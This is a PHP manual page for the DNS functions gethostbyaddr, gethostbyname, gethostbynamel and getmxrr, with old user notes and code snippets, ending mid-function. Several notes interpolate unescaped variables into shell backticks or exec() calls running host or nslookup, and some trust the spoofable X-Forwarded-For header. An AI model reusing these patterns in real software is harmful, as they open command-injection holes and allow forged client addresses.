If all else fails, but you have shell access, Unix/Linux servers can use this for a timeout response:

shell_exec('host -W 2 0.0.0.0');

Where 0.0.0.0 is of course the IP, and '2' is the number of seconds for the timeout.  This returns a more detailed string of info, with some additional text which might vary depending on the system, so if you want a string with the hostname and nothing else, you'll have to do some substring cutting.  There should be an equivalent of 'host' for Windows users to execute, but it isn't my platform.
Rathann
27-Feb-2006 01:51
While writing a script to verify IP<->hostname loops, I sorely missed the "list" version of gethostbyaddr (similar to gethostbynamel()) and since dns_get_record is a bit too complex for that task alone, I've written a simple wrapper that should behave like gethostbynamel():

function gethostbyaddrl($ip) {
   $rrs=dns_get_record(implode('.',array_reverse(explode('.', $ip))).'.in-addr.arpa.',DNS_PTR);
   $revnames=array();
   foreach($rrs as $rr) $revnames[]=$rr['target'];
   return (count($revnames)) ? $revnames : FALSE;
}

Hopefully it'll be of use to someone else, too.
respaldod at gmail dot com
23-Nov-2005 02:28
There is a small flaw in the timeout implementation of King Macro's very useful sockets-based function gethostbyaddr_timeout() below.

The parameters for socket_set_timeout, an alias for stream_set_timeout(), are like this:
( resource stream, int seconds [, int microseconds] )

So if you want to use his parameters, and assuming the $timeout param should be in milliseconds, you could first convert to microseconds

$timeout *= 1000;

And then change the socket_set_timeout so you have seconds and microseconds along these lines:

@socket_set_timeout($handle, floor($timeout/1000000), $timeout%1000000);
tom
07-Oct-2005 04:14
Be careful with the usage of this function - it will slow down a server to a crawl if called a lot and the slowness won't be reflected in any of the obvious places, like CPU usage, apache requests, SQL etc. When you do use it make a special note of where!
reinhard at ess dot co dot at
12-Apr-2005 05:27
tried out some of the examples below, but no one worked for me.
(
"host" returns something if domain-name wasn't found
"gethostbyaddr" has a too long  timeout when it fails
"the udp-example" returns some strange characters...
)
so i have changed the "host"-example a little bit. hope someone can need it. (maybe with little changes like without error-description)

<?
function gethost($ip)
{
   $host = `host $ip`;
   $host=end(explode(' ',$host));
   $host=substr($host,0,strlen($host)-2);
   $chk=split("\(",$host);
   if($chk[1]) return $ip." (".$chk[1].")";
   else return $host;
}
?>
king dot macro at gmail dot com
26-Oct-2004 10:28
The problem of broken DNS servers was causing me a problem because i had a page for user statistics that required around 20 reverse dns lookups to be done, and even as many as 5/6 of them being broken was causing a huge delay in loading the page. so i wrote a function that uses a UDP socket to talk directly to the DNS server (instead of going via the normal gethostbyaddr function) this let me set a timeout.

The only requirement is that your DNS server must be able to do recursive lookups, it wont go to other DNS servers if its told to... and of course you need to know your DNS servers IP address :-)

<?
function gethostbyaddr_timeout($ip, $dns, $timeout=1000)
{
   // random transaction number (for routers etc to get the reply back)
   $data = rand(0, 99);
   // trim it to 2 bytes
   $data = substr($data, 0, 2);
   // request header
   $data .= "\1\0\0\1\0\0\0\0\0\0";
   // split IP up
   $bits = explode(".", $ip);
   // error checking
   if (count($bits) != 4) return "ERROR";
   // there is probably a better way to do this bit...
   // loop through each segment
   for ($x=3; $x>=0; $x--)
   {
       // needs a byte to indicate the length of each segment of the request
       switch (strlen($bits[$x]))
       {
           case 1: // 1 byte long segment
               $data .= "\1"; break;
           case 2: // 2 byte long segment
               $data .= "\2"; break;
           case 3: // 3 byte long segment
               $data .= "\3"; break;
           default: // segment is too big, invalid IP
               return "INVALID";
       }
       // and the segment itself
       $data .= $bits[$x];
   }
   // and the final bit of the request
   $data .= "\7in-addr\4arpa\0\0\x0C\0\1";
   // create UDP socket
   $handle = @fsockopen("udp://$dns", 53);
   // send our request (and store request size so we can cheat later)
   $requestsize=@fwrite($handle, $data);

   @socket_set_timeout($handle, $timeout - $timeout%1000, $timeout%1000);
   // hope we get a reply
   $response = @fread($handle, 1000);
   @fclose($handle);
   if ($response == "")
       return $ip;
   // find the response type
   $type = @unpack("s", substr($response, $requestsize+2));
   if ($type[1] == 0x0C00)  // answer
   {
       // set up our variables
       $host="";
       $len = 0;
       // set our pointer at the beginning of the hostname
       // uses the request size from earlier rather than work it out
       $position=$requestsize+12;
       // reconstruct hostname
       do
       {
           // get segment size
           $len = unpack("c", substr($response, $position));
           // null terminated string, so length 0 = finished
           if ($len[1] == 0)
               // return the hostname, without the trailing .
               return substr($host, 0, strlen($host) -1);
           // add segment to our host
           $host .= substr($response, $position+1, $len[1]) . ".";
           // move pointer on to the next segment
           $position += $len[1] + 1;
       }
       while ($len != 0);
       // error - return the hostname we constructed (without the . on the end)
       return $ip;
   }
   return $ip;
}
?>

This could be expanded quite a bit and improved but it works and i've seen quite a few people trying various methods to achieve something like this so i decided to post it here. on most servers it should also be more efficient than other methods such as calling nslookup because it doesn't need to run external programs

Note: I'm more a C person than a PHP person, so just ignore it if anything hasn't been done the *recomended* way :-)
MagicalTux at FF.ST
16-Mar-2004 02:58
Note that sometime, people have broken DNS...

I mean that the IP resolve to a domain, but the reverse-resolution don't give the same IP.

I did a local test, putting a PTR record on my dns server to say 192.168.0.1 resolv to php.net . When calling gethostbyaddr, I saw "Your host is php.net" ... So when you log the DNS names, you have two options :
 - Log the IP adresses to prevent fake ips
 - Call gethostbyname on the result and verify that the IP is really the initial IP.

Note that not everyone can do that, only people with control on their own ip classes... Once, on the real net, I got an IP resolving to "PROGRAM". It was obviously a fake record.

Note 2 for windows users : I noticed that some software takes the reverse record as athoritative. It may allow people to do fake DNS entries if you do the reverse dns on your host. The best is to only log IPs. Imagine someone with an host resolving to www.paypal.com. Next time you try to access paypal, you will be redirected to his/her IP without even knowing it. Also faking update servers for antivirus software, or winamp (there was a thread regarding this security problem because of a problem in winamp updater if the remote server was faked) will be concerned.
Matt AKA Junkie
15-Mar-2004 12:29
Going through numerous tests, the following results are concluded:

<?
// If you're using a server on Windows, this is faster
function getisp($ip='') {
   if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
   $longisp = @gethostbyaddr($ip);
   $isp = explode('.', $longisp);
   $isp = array_reverse($isp);
   $tmp = $isp[1];
   if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
       $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
   } else {
       $myisp = $isp[1].'.'.$isp[0];
   }
   if (preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp))
     return 'ISP lookup failed.';
   return $myisp;
}

// If your server is on a *nix system, this is faster
function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// be warned, however, that gethost() will issue a warning
// if safe mode is on with the use of backticked variables

?>
webmaster at script-tease dot net
14-Mar-2004 08:37
gethostbyaddr() tends to lag on various systems for whatever reason. Here are two functions that should prove their worth speedwise.

<?php
// For Linux...

function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// For Win32...

function nslookup ($ip) {
 $host = split('Name:',`nslookup $ip`);
 return ( trim (isset($host[1]) ? str_replace ("\n".'Address:  '.$ip, '', $host[1]) : $ip));
}
?>

Pretty basic, but it should get the job done.
Matt AKA Junkie
01-Mar-2004 08:11
Since my little ISP thing isn't globally acceptable, here's an update.

<?
function getisp($ip='') {
   if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
   $longisp = @gethostbyaddr($ip);
   $isp = explode('.', $longisp);
   $isp = array_reverse($isp);
   $tmp = $isp[1];
   if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
       $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
   } else {
       $myisp = $isp[1].'.'.$isp[0];
   }
   preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp) ? return 'ISP lookup failed.' : return $myisp;
}
?>
info at widebore dot com
18-Aug-2003 04:49
Some users (a minority) will present IP addresses to the browser which cause problems with gethostbyaddr. I had a complaint from a user today about this.

This gives an error "Warning: Address is not in a.b.c.d form" and if you try to send any headers after this error has been generated, then, naturally, the results are unpleasant on the user's screen.

The simplest way I found to get round this problem which affects less than 1% of users is to put a "@" in front of gethostbyaddr and not lose any more sleep over it :-)
grimNOSPAMtraffic at hotNOSPAMmail dot com
01-Aug-2003 05:31
If you have found the host of the ip, the shortest way to cut it not to display the full hostname to the public would be:

$host = substr($host, strpos($host, ".") + 1);

P.S. strpos() can also be easily used if you want to put "*" for every simbol you ommit, like so:

$os = strpos($host, ".");
$host = substr($host, $os);
$host = str_repeat("*", $os) . $host;

--McTrafik
www.ad-rotator.com
29-Apr-2003 07:06
For ad-rotator.com, we need to do a lot of IP lookups, gethostbyaddr is very easy get timed-out and the script stucks there forever. Here is a fail-safe alternative, 1 sec max for timeout per IP.

function ar_gethostbyaddr($ip) {
  $output = `host -W 1 $ip`;
  if (ereg('.*pointer ([A-Za-z0-9.-]+)\..*',$output,$regs)) {
   return $regs[1];
  }
  return $ip;
}
jz at NOSPAM dot nplu dot kiev dot ua
11-Apr-2003 06:59
Just to fun that gethostbyadd() returns server machine name known in LAN rather then its DNS if I try to call it against my own host (from workstation), whether it would local (behind the proxy) or global (of proxy itself) IP or just loop 127.0.0.1.

And thus you can get LAN names of other workstations by its intranet IPs (I mean smth like 192.168.0.???)

Fun :)
kriek at jonkriek dot com
22-Mar-2003 12:39
In response to god at weaponzero dot f2s dot com: I found this much easier to write.

<?php
   $ip = $_SERVER['REMOTE_ADDR'];
   $fullhost = gethostbyaddr($ip);
   $host = preg_replace("/^[^.]+./", "*.", $fullhost);
?>

IP address <?=$ip?> | Host: <?=$host?>

You can still protect the IP of your visitors and only show the hostname or show them both.
root don't send spam to em411 dot com
08-Feb-2003 02:01
recently, i've encountered a bad experience with this function. while i have yet to find out the root of the problem, i would like to share my experience.

i woke up one morning to find all pages on my server loading very slowly. frontpage load speed is typically .4seconds, and that morning, it was 12seconds. after 24 hours of myisamchk'ing, top / ping / tracert / reboot / service mysqld / httpd restartin'ing, nothing helped. eventually, i tracked the bugger down to the gethostbyaddr function.

the anomaly was that the problem was only happening to ME, and not to my 1-200 users per day.

would love to hear suggestion on why this happened and potential resolutions, if any exist. thank you.
webmaster at 4so9 dot com
26-Dec-2002 02:12
I could never get one host name from this function. I have even tried to turn on "HostnameLookup On" w/o success. I have combined all your your advises into this piece of codes. Any help on this is greatly appreciated.

------
function getRemoteInfo () {
   $proxy="";
   $IP = "";
   if (isSet($_SERVER)) {
       if (isSet($_SERVER["HTTP_X_FORWARDED_FOR"])) {
           $IP = $_SERVER["HTTP_X_FORWARDED_FOR"];
           $proxy  = $_SERVER["REMOTE_ADDR"];
       } elseif (isSet($_SERVER["HTTP_CLIENT_IP"])) {
           $IP = $_SERVER["HTTP_CLIENT_IP"];
       } else {
           $IP = $_SERVER["REMOTE_ADDR"];
       }
   } else {
       if ( getenv( 'HTTP_X_FORWARDED_FOR' ) ) {
           $IP = getenv( 'HTTP_X_FORWARDED_FOR' );
           $proxy = getenv( 'REMOTE_ADDR' );
       } elseif ( getenv( 'HTTP_CLIENT_IP' ) ) {
           $IP = getenv( 'HTTP_CLIENT_IP' );
       } else {
           $IP = getenv( 'REMOTE_ADDR' );
       }
   }
   if (strstr($IP, ',')) {
       $ips = explode(',', $IP);
       $IP = $ips[0];
   }
   $RemoteInfo[0]=$IP;
   $RemoteInfo[1]=@GetHostByAddr($IP);
   $RemoteInfo[2]=$proxy;
   return $RemoteInfo;
}

-------
Thanks,
Steve
lukevb_at_iafrica.com
09-Nov-2002 06:43
Sometimes when using $_SERVER['HTTP_X_FORWARDED_FOR'] OR $_SERVER['REMOTE_ADDR'] more than 1 IP address is returned, for example '155.240.132.261, 196.250.25.120'. When this string is passed as an argument for gethostbyaddr() PHP gives the following error: Warning: Address is not a valid IPv4 or IPv6 address in...

To work around this I use the following code to extract the first IP address from the string and discard the rest. (If you wish to use the other IPs they will be in the other elements of the $ips array).

if (strstr($remoteIP, ', ')) {
   $ips = explode(', ', $remoteIP);
   $remoteIP = $ips[0];
}

Hope this helps someone :)
abe at abe2k dot net
08-Nov-2002 10:32
gethostbyaddr() doesn't seem to be able to resolve ip6.int
(ipv6) adresses, so I made a function that can, and works
just like the normal gethostbyaddr().

You need dig and ipv6calc, dig should come with most
distributions, if not, install bind from http://www.isc.org.
ipv6calc can be found at http://www.bieringer.de/linux/IPv6/ipv6calc/index.html.

 function gethostbyaddr6($ip6) {
  $ipv6calc = "/bin/ipv6calc";
  $dig = "/usr/bin/dig";
  $file = popen($ipv6calc." --in ipv6addr --out revnibbles.int ".escapeshellarg($ip6), r);
  $ip = fread($file, 128);
  pclose($file);
  if ((substr($ip, 0, 5) == "Error") || (!$ip)) return "Address is not a valid IPv6 address";
  $file = popen($dig." ptr ".$ip, r);
   while (!feof ($file)) {
   $buffer = fgets($file, 128);
   if (substr($buffer, 0, 1) == ";") continue;
   $buffer = explode(" ", $buffer);
   if ($buffer[3] == "PTR") {
     $host = substr(trim($buffer[4]), 0, -1);
     pclose($file);
     return $host;
   }
   }
  pclose($file);
  return $ip6;
 }

 echo gethostbyaddr6($_SERVER[REMOTE_ADDR]);
ameoba32 at mail dot ru
01-Nov-2002 08:29
DNS lookup with timeout

function dns_timeout($ip) {
 $res=`nslookup -timeout=3 -retry=1 $ip`;
 if (preg_match('/\nName:(.*)\n/', $res, $out)) {
   return trim($out[1]);
 } else {
   return $ip;
 }
}
dominique at vdx dot nl
30-Sep-2002 08:14
To convert an IP to a numeric value, just use the ip2long (...) function.

Vice versa; use: long2ip (...)
pulstar at mail dot com
21-Sep-2002 05:59
If you need to store an IP addresses in a database, you can convert and store it in an INT type column (4 bytes). The functions below can convert IP addresses to its integer decimal value and vice-versa.

function ip2dec($ipaddr) {
  $base=explode(".",$ipaddr);
  $decimal=(double) $base[0]*16777216;
  $decimal+=$base[1]*65536;
  $decimal+=$base[2]*256;
  $decimal+=$base[3];
  if($decimal>2147483647) {
   $decimal-=4294967296;
  }
  return (int) $decimal;
}

function dec2ip($dec) {
  if($dec<0) {
   $dec=(double) 4294967296+$dec;
  }
  if($dec>16777215) {
   $ip=$dec-(intval($dec/256)*256);
   $dec=(double) intval($dec/256);
  } else $ip="0";
  if($dec>65535) {
   $ip=($dec-(intval($dec/256)*256)).".".$ip;
   $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  if($dec>255) {
   $ip=($dec-(intval($dec/256)*256)).".".$ip;
   $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  $ip=$dec.".".$ip;
  return (string) $ip;
}
alexey at ozerov dot de
16-Sep-2002 01:15
This function seems to be very slow on IIS 4.0 Server (Win32). I use system call to NSLOOKUP instead to get PC-Hostname:

unset ($execoutput);
exec ("nslookup $IPAdresse 2>nul",$execoutput,$nslookstatus);
if (isset ($execoutput[3]) && ereg ("^Name: *([A-Za-z0-9]{2,})\.",$execoutput[3],$regs))
$nslookname=strtoupper($regs[1]);
else $nslookname="Unknown";

Note by members: This is not portable to Windows platforms. so you would be better to stay with our function.
stephane at metacites dot net
10-Sep-2002 10:17
gethostbyaddr_with_cache()

As someone truely said upper in the forum, some unresolved addresses may slow down your script to the point it times out.

Althought I had thought gethostbyaddr() would use some kind of cache, it doesn't seem to when the IP is unresolved (at least on my win machine).

So, I've coded a little gethostbyaddr_with_cache() function that will greatly speed your page if you have many gethostbyaddr() to perform on the same page.

function gethostbyaddr_with_cache($a) {
  global $dns_cache;
  if ($dns_cache[$a]) {
   return $dns_cache[$a];
   } else {
   $temp = gethostbyaddr($a);
   $dns_cache[$a] = $temp;
   return $temp;
  }
   }
inny at core dot fetchnet dot org
11-Aug-2002 12:58
Turning on the HostnameLookup function on in the apache configuration file will severely increase the loading times of all the pages serviced by the httpd-server.
It's mostly a better idea to just use gethostbyaddr($REMOTE_ADDR); instead of $REMOTE_HOST if you turned HostnameLookups On, unless you want the hostnames specified in apache's log file...
ven at PragaKhan dot com
16-Jul-2002 06:55
$REMOTE_HOST or $_SERVER['REMOTE_HOST'] will give you the reversed ip IF apache is setup to do hostname lookups.

HostnameLookups On
elpmille at indiana dot edu
30-May-2002 03:26
I previously used something very similar to what god@weaponzero.f2s.com posted but found it to be quite tedious for getting the 'nicehost'. This method below is a lot cleaner, and it also works for numeric addresses.

function nicehost($host) {
   if (ereg('^([0-9]{1,3}\.){3}[0-9]{1,3}$', $host)) {
       return(ereg_replace('\.[0-9]{1,3}$', '.*', $host));
   } else {
       return(ereg_replace('^.{' . strpos($host, '.') . '}', '*', $host));
   }
}
nothanks at nospam dot com
17-May-2002 06:30
This is also very useful if you'd like to ban these annoying people that keep spamming your forums. It requires a clever use of mySql but can be great:

First, make a table for the bans, then make the query:

"SELECT banReason from tBans where '". gethostbyaddr($REMOTE_ADDR) ."' LIKE banMask"

If your results aren't null it means his host matched a banMask in your DB, so you can redirect him with header() to a banned.php page and prevent him from accessing any content on your page!
phalkon at nospam dot home dot com
09-Jun-2001 06:58
Be cautious when looking up many hostnames.  If your DNS server is slow to respond, you may have to pump up your Max execution time for your scripts, otherwise, it will timeout.  I found that even 3 unresolvable hosts can cause a 30 second delay in processing.
god at weaponzero dot f2s dot com
13-May-2001 08:53
say you want to protect the IP of your visitors and only show the hostname?

  $ip = getenv('REMOTE_HOST');
  $host = @GetHostByAddr($ip);

     $real_host=chop($host);
     if($real_host){
       $host_arr=explode(".", $real_host);
       $count=count($host_arr);
       if($count > 1){
         if(intval($host_arr[$count-1])!=0){
           $host=substr($real_host,0,strrpos($real_host,".")).".*";
         }
         else{
           $host = "*".strstr($real_host, ".");
         }
       }
       else{
         $host=$real_host;
       }
     }
     else{
       $host="";
     }

for me that would put *.dab.bellsouth.net and for AOLers it woud put *.proxy.aol.com
andy at occ dot nu
12-Jan-2001 10:48
if the user is sitting behind a proxy server, you can do this;

<?
   if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"] != ""){
       $IP = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
       $proxy = $HTTP_SERVER_VARS["REMOTE_ADDR"];
       $host = @gethostbyaddr($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]);
   }else{
       $IP = $HTTP_SERVER_VARS["REMOTE_ADDR"];
       $host = @gethostbyaddr($HTTP_SERVER_VARS["REMOTE_ADDR"]);
   }
?>

ps; i use $HTTP_SERVER_VARS["something"] instead of just $something;
you can get most of the $HTTP_SERVER_VARS by just using there $something equivalent, see the manual for that (preserved variables)
bruno at angelsp dot org
23-Nov-2000 10:20
This is a really usefull function.. I ussualy use it to know the name of the country that the host has.. (.pt, .es, .uk, etc)..

here is a litle idea of what one can do with this..

I get the $ipa with the remote_addr function..

<?php

  $host =  gethostbyaddr($ipa);

  $at        = $host
  $hostdot  = ".";
  $result    = strrchr($at, $hostdot);

  echo "The country is $result";

?>

Of course, if a .com or .org or .net domain name (tld) it won't be a country.. but you can work that out with and if or case statements..

and of course, I can be totally mistaken ;P
php3 at bigsky dot net
16-Mar-2000 08:34
To check a host's address:
<pre>
$r_hostname = gethostbyaddr($REMOTE_ADDR);
if ($REMOTE_ADDR == "$r_hostname") {
     ....
}
</pre>

This will fail if  a lookup on the name returns the IP as the domain name (which can happen if you control a DNS server), but it's a pretty contrived example, and in any other case it will work.
add a note add a note

后退 | 起点 | 前进
fsockopen | 上一级 | gethostbyname


gethostbyname

(PHP 3, PHP 4, PHP 5)

gethostbyname -- Get the IP address corresponding to a given Internet host name

Description

string gethostbyname ( string hostname )

Returns the IP address of the Internet host specified by hostname or a string containing the unmodified hostname on failure.

例子 1. A simple gethostbyname() example

<?php
$ip = gethostbyname('www.example.com');

echo $ip;
?>

See also gethostbyaddr(), and gethostbynamel().

add a note add a note User Contributed Notes
ralphbolton at mail2sexy dot com
07-Apr-2006 04:10
On a side-note, PHP (5.0.4, but probably other versions too) can cache gethostbyname information.

In short, once PHP looks up an address, it may not actually perform another lookup as you may expect. In my particular case (I think) the problem was a change to resolv.conf didn't take effect inside PHP (although nslookup/ping etc worked fine). Stop/Starting Apache fixed it (although a simple 'restart' (kill -HUP) didn't).

In short, if you change resolv.conf, stop and restart Apache.
ivan[DOT]pirog[AT]gmail[DOT]com
14-Mar-2006 10:57
Function returns boolean:
<?php
function isDomainResolves($domain)
{
     return gethostbyname($domain) != $domain;
}
?>
mcgrof at gmail dot com
22-Oct-2005 12:10
Better yet:
<?php
$ip = rtrim(`/usr/bin/dig $host A +short`);
?>
mcgrof at gmail dot com
22-Oct-2005 12:05
In PHP4 you can use gethostbyname() but I have found this unreliable when doing lookups on entries that return A records on the private network. PHP5 has a much better routine -- dns_get_record(). If you are stuck with PHP4 or don't want to upgrade you can use dig:

<?php
$ip = `/usr/bin/dig $host A +short`;
?>
tabascopete78 at yahoo dot com
18-Aug-2005 03:29
I was using file_get_contents on a set of URLs. Some of them URLs were invalid (the structure of it was ok but the DNS hosts couldn't resolve them) and I kept getting an annoying warning. I wanted to check the DNS somehow but existing check dns function in php doesn't have one for windows and the one a person supplied there does not work 100% of the time.

Instead use this function to try to resolve a host. This won't throw any warnings, you just need to check the output. You'll get the same warnings with fopen and fsockopen.
cox at idecnet dot com
27-Dec-2004 04:15
For doing basic RBL (Real Time Blacklist) lookups with this function do:

<?php
$host = '64.53.200.156';
$rbl  = 'sbl-xbl.spamhaus.org';
// valid query format is: 156.200.53.64.sbl-xbl.spamhaus.org
$rev = array_reverse(explode('.', $host));
$lookup = implode('.', $rev) . '.' . $rbl;
if ($lookup != gethostbyname($lookup)) {
   echo "ip: $host is listed in $rbl\n";
} else {
   echo "ip: $host NOT listed in $rbl\n";
}
?>

Tomas V.V.Cox
Vincent
15-Jul-2004 12:14
Note that if you pass an IP address to gethostbyname() it will return that IP address.
30-Mar-2004 06:49
The dns entries get cached, whether they exist or not.  Expect really good response times after the first one.
christian at SPAM at IS at DEAD at MEAT at karg dot org
01-Apr-2003 08:12
I had difficulty getting gethostbyname to work under OpenBSD 3.2 and Apache, until I discovered that the default Apache chroot caused the problem.

To get PHP's gethostbyname to work, you need resolv.conf (and possibly hosts) in /var/www/etc (assuming default install dirs).
tonyhana at sixzeros dot com
04-Jul-2002 10:43
<?php
//script to time DNS propagation
//(Above script modified slightly to show micro time)
//seems pretty damn quick to me.. I'm getting .0055 sec worstcase badhost times.

//A known good dns name (my own)
   $nametotest = "fuzzygroup.com";

//Call address test function
   $time_start = getmicrotime();
   testipaddress($nametotest);
   $time_end = getmicrotime();
   $time = $time_end - $time_start;
   echo "Good Host Search took $time seconds<br><br>";

//A known bad name (trust me)
   $nametotest = "providence.mascot.com";
   $time_start = getmicrotime();
   testipaddress($nametotest);
   $time_end = getmicrotime();
   $time = $time_end - $time_start;
   echo "Bad Host Search took $time seconds<br>";

function getmicrotime(){
   list($usec, $sec) = explode(" ",microtime());
   return ((float)$usec + (float)$sec);
   }

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
   $ipaddress = $nametotest;
   $ipaddress = gethostbyname($nametotest);
   if ($ipaddress == $nametotest) {
       echo "No ip address for host<br>";
   }
   else {
       echo "good hostname, $nametotest ipaddress = $ipaddress<br>";
   }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>
sjohnson at fuzzygroup dot com
17-Mar-2002 02:27
<?php

//script to see if host exists on Internet

//following up on the above point about host name
//checking and SQL timeouts, run this test script
//and see how long it takes for 2nd call to
//hostname check to fail
//NOTE -- not PHP's fault -- nature of DNS

//A known good dns name (my own)
   $nametotest = "fuzzygroup.com";

//Call address test function
   testipaddress($nametotest);

//A known bad name (trust me)
   $nametotest = "providence.mascot.com";
//Call address test function
   testipaddress($nametotest);

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
   $ipaddress = $nametotest;
   $ipaddress = gethostbyname($nametotest);
   if ($ipaddress == $nametotest) {
       echo "No ip address for host, so host "
             . "not currently available in DNS and "
             . "probably offline for some time<BR>";
   }
   else {
       echo "good hostname, ipaddress = $ipaddress<BR>";
   }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>
add a note add a note

后退 | 起点 | 前进
gethostbyaddr | 上一级 | gethostbynamel


gethostbynamel

(PHP 3, PHP 4, PHP 5)

gethostbynamel -- Get a list of IP addresses corresponding to a given Internet host name

Description

array gethostbynamel ( string hostname )

Returns a list of IP addresses to which the Internet host specified by hostname resolves. Returns FALSE if hostname could not be resolved.

例子 1. gethostbynamel() example

<?php
  $hosts = gethostbynamel('www.example.com');
  print_r($hosts);
?>

The printout of the above program will be:

Array
(
    [0] => 192.0.34.166
)

See also gethostbyname(),
gethostbyaddr(),
checkdnsrr(), getmxrr(),
and the named(8) manual page.

add a note add a note User Contributed Notes
mitch <> aka-root.com
08-Feb-2006 09:23
Bug found in versions php4.4.0-4.4.2 (no newest in 4.4.x when i write this)

if domain does not exist, gethostbyname retourn local server ip, in 4.3.x branch in this case retourn equal input string.

u can check it by this simple code :)

<?
$str = 'any-not-valid-domain.com';
$ip4 = gethostbyname($str);
print "[$str] [$ip4]<br>";
?>
webdev at concraption dot com
20-Sep-2005 02:25
In PHP 5.0.4, gethostbynamel returns an empty string instead of false if the lookup fails. A simple workaround for this error is to use is_array() in an IF block:

<?
$hosts = gethostbynamel($hostname);
if (is_array($hosts)) {
     echo "Host ".$hostname." resolves to:<br><br>";
     foreach ($hosts as $ip) {
         echo "IP: ".$ip."<br>";
     }
} else {
     echo "Host ".$hostname." is not tied to any IP.";
}
?>
php at silisoftware dot com
04-Dec-2004 09:39
This is a replacement for gethostbynamel(), for *nix only, which uses the "host" program to lookup hostnames. Most people won't need this, but I had a temporary server problem where all the PHP DNS lookup functions were failing, so this works as a direct replacement:

function SafeGetHostByNameL($hostname) {
   if (false) { // put conditional check here to use normal gethostbynamel()
       return gethostbynamel($hostname);
   } elseif (ereg('[0-9]{1,3}(\.[0-9]{1,3}){3}', $hostname)) {
       return array($hostname);
   } else {
       $response = trim(`host $hostname`);
       if (preg_match_all('/([a-z0-9\.\-]* is an alias for ([a-z0-9\.\-]*)\.['." \r\n".']+)*[a-z0-9\.\-]* has address ([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/', trim($response), $matches, PREG_PATTERN_ORDER)) {
           return $matches[3];
       } elseif (eregi('^Host '.$hostname.' not found', $response, $matches)) {
           return false;
       }
   }
   return false;
}
Skyld at o2 dot co dot uk
25-Sep-2004 04:45
Obviously, in some cases, not all IPs are likely to be useful while checking a hostname. Sometimes also, not all IPs will work. This code will check for the first WORKING IP from the list. Or at least it should - I haven't had time to test it yet.
Needs domain parameter, and port and max IPs to check are optional.
If port is not set, it will check HTTP port 80, and if max IPs to check is not set, it will only check the first 10 IPs from the list.
Hope it helps someone.

<?php
  function checkhostlist($domain, $port = 80, $maxipstocheck = 10) {
   $hosts = gethostbynamel($domain);
   for ($chk=0;$chk<$maxipstocheck;$chk++) {
     if (isset($hosts[$chk])) {
       $th = fsockopen($domain, $port);
       if ($th) {
         fclose($th);
         return $hosts[$chk];
         break;
       }
     }
   }
  }
?>
add a note add a note

后退 | 起点 | 前进
gethostbyname | 上一级 | getmxrr


getmxrr

(PHP 3, PHP 4, PHP 5)

getmxrr -- Get MX records corresponding to a given Internet host name

Description

bool getmxrr ( string hostname, array &mxhosts [, array &weight] )

Searches DNS for MX records corresponding to hostname. Returns TRUE if any records are found; returns FALSE if no records were found or if an error occurred.

A list of the MX records found is placed into the array mxhosts. If the weight array is given, it will be filled with the weight information gathered.

注: This function should not be used for the purposes of address verification. Only the mailexchangers found in DNS are returned, however, according to RFC 2821 when no mail exchangers are listed, hostname itself should be used as the only mail exchanger with a priority of 0.

注: This function is not implemented on Windows platforms. Try the PEAR class Net_DNS.

See also checkdnsrr(),
dns_get_record(),
gethostbyname(),
gethostbynamel(),
gethostbyaddr(), and the
named(8) manual page.

add a note add a note User Contributed Notes
choward AT fast DOT net DOT NO SPAM PLZ
13-Apr-2006 03:32
Below Code Used and edited from -ng4rrjanbiah at rediffmail dot com- posted note.
Testing on Windows 2000 Advanced Server.
PHP v4.4.1

function getmxrr($hostname, &$mxhosts)
{
   $mxhosts = array();
   exec('%SYSTEMDIRECTORY%\\nslookup.exe -q=mx '.$hostname, $result_arr);
   foreach($result_arr as $line)
   {
     if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
         $mxhosts[] = $matches[1];
   }
   return( count($mxhosts) > 0 );
}//--End of workaround

//test..
getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);

As you can see the only thing i had to do in order to make this work was add a direct path to nslookup and add the .exe extension. You can use either the "Type" or "Q" parameter, both worked for me. I am not sure as to why the inital script failed... Safe Mode is on, but that is not the culprit. If i look into it and find an answer i will post it. My initial thoughts are that the SystmDir and WinDir Environment Vars are set to C:\WINNT when i would think SystemDir is actually supposed to be C:\WINNT\System32 for windows systems... but i also think that because C:\WINNT\System32 is in my Windows OS Environmental Var PATH that it shouldn't matter so i am not sure why i had to put in the whole path, but either way it now works. If anyone has some insight or simply wants to point me to something i can read, that'd be much appreciated as i will probably not think about this issue again... Especially since this particular system has had way too many changes to it and programs installed etc... it is an all around test unit. The issue may be mine alone, but i thought i would post this in hopes of saving someone time just in case.
Lennart Poot(www.twing.nl)
08-Apr-2006 03:23
This script validates an e-mail adress using getmxrr and fsockopen

1. it validates the syntax of the address.
2. get MX records by hostname
3. connect mail server and verify mailbox(using smtp command RCTP TO:<email>)

When the function "validate_email([email])" fails connecting the mail server with the highest priority in the MX record it will continue with the second mail server and so on..

The function "validate_email([email])" returns 0 when it failes one the 3 steps above, it will return 1 otherwise

Grtz Lennart Poot

<?
function validate_email($email){
   $mailparts=explode("@",$email);
   $hostname = $mailparts[1];

   // validate email address syntax
   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
   $b_valid_syntax=eregi($exp, $email);

   // get mx addresses by getmxrr
   $b_mx_avail=getmxrr( $hostname, $mx_records, $mx_weight );
   $b_server_found=0;

